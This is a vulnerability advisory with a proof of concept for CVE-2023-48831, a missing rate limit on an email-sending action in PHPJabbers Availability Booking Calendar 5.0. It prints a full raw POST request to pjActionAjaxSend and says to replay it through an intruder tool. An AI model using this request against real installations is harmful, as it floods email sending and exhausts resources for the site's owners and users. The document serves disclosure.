Headline
PHPJabbers Availability Booking Calendar 5.0 Missing Rate Limiting
PHPJabbers Availability Booking Calendar version 5.0 suffers from a missing rate limiting control that can allow for resource exhaustion.
# Exploit Title: PHPJabbers Availability Booking Calendar v5.0 - NoRate Limit in Email# Date: 19/11/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link:https://www.phpjabbers.com/availability-booking-calendar/#sectionDemo# Version: v5.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-48831Descriptions:Rate limiting is implemented in web applications and APIs to preventabuse, such as brute-force attacks or excessive requests that couldlead to resource exhaustion. When a rate limit is bypassed or notproperly enforced, it opens the door for attackers to carry outmalicious activities more quickly than intended, potentially leadingto unauthorized access, data breaches, or service disruption.Steps to Reproduce:1. Request Data:POST /1701526313_862/index.php?controller=pjBaseOptions&action=pjActionAjaxSendHTTP/1.1Host: localhostCookie: _ga=GA1.2.1947184974.1699512498;_fbp=fb.1.1699512498084.844079488;_ga_NME5VTTGTT=GS1.2.1701527599.5.1.1701527608.51.0.0;_gcl_au=1.1.1109346785.1700383352;_hjSessionUser_2841064=eyJpZCI6ImVlNjRmZTlkLTlmMDAtNWJmMC05OTk1LWE4ODQzMmNiMGQ0OSIsImNyZWF0ZWQiOjE3MDAzODMzNTQyMDYsImV4aXN0aW5nIjp0cnVlfQ==;pj_sid=PJ1.0.3350592650.1700383356; pj_so=PJ1.0.9822262006.1700383356;CarRental=pb6krbqhp0ugdgduc39iagulp2; pjd=fmfk4mh95jvo519v16tcbmfte4;PHPSESSID=91h58pp95vek8qpp4jj62srb23;ShuttleBooking=uhei7cs26l7eoen1bfja4ciaq2;TSBCalendar=k2502gveirj5nhpo9ofnbpnrv2;ABCalendar=lkoj2qi9cq5dib87qothkc9d77;_gid=GA1.2.1184409840.1701527598; _gat=1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/119.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 502Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: closeoptions_update=1&next_action=pjActionEmailSettings&email=test1%40test.com&value-enum-o_send_email=mail%7Csmtp%3A%3Amail&value-string-o_smtp_host=&value-int-o_smtp_port=25&value-string-o_smtp_user=&value-string-o_smtp_pass=&value-enum-o_smtp_secure=none%7Cssl%7Ctls%3A%3Anone&value-enum-o_smtp_auth=LOGIN%7CPLAIN%3A%3ALOGIN&o_smtp_seder_email_same_as_username=on&value-enum-o_smtp_seder_email_same_as_username=Yes%7CNo%3A%3AYes&value-string-o_sender_email=test%40test.com&value-string-o_sender_name=Test2. Send it to intruder and configure then attack.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48831)
Related news
CVE-2023-48831: Availability Booking Calendar | Calendar Booking System
A lack of rate limiting in pjActionAJaxSend in Availability Booking Calendar 5.0 allows attackers to cause resource exhaustion.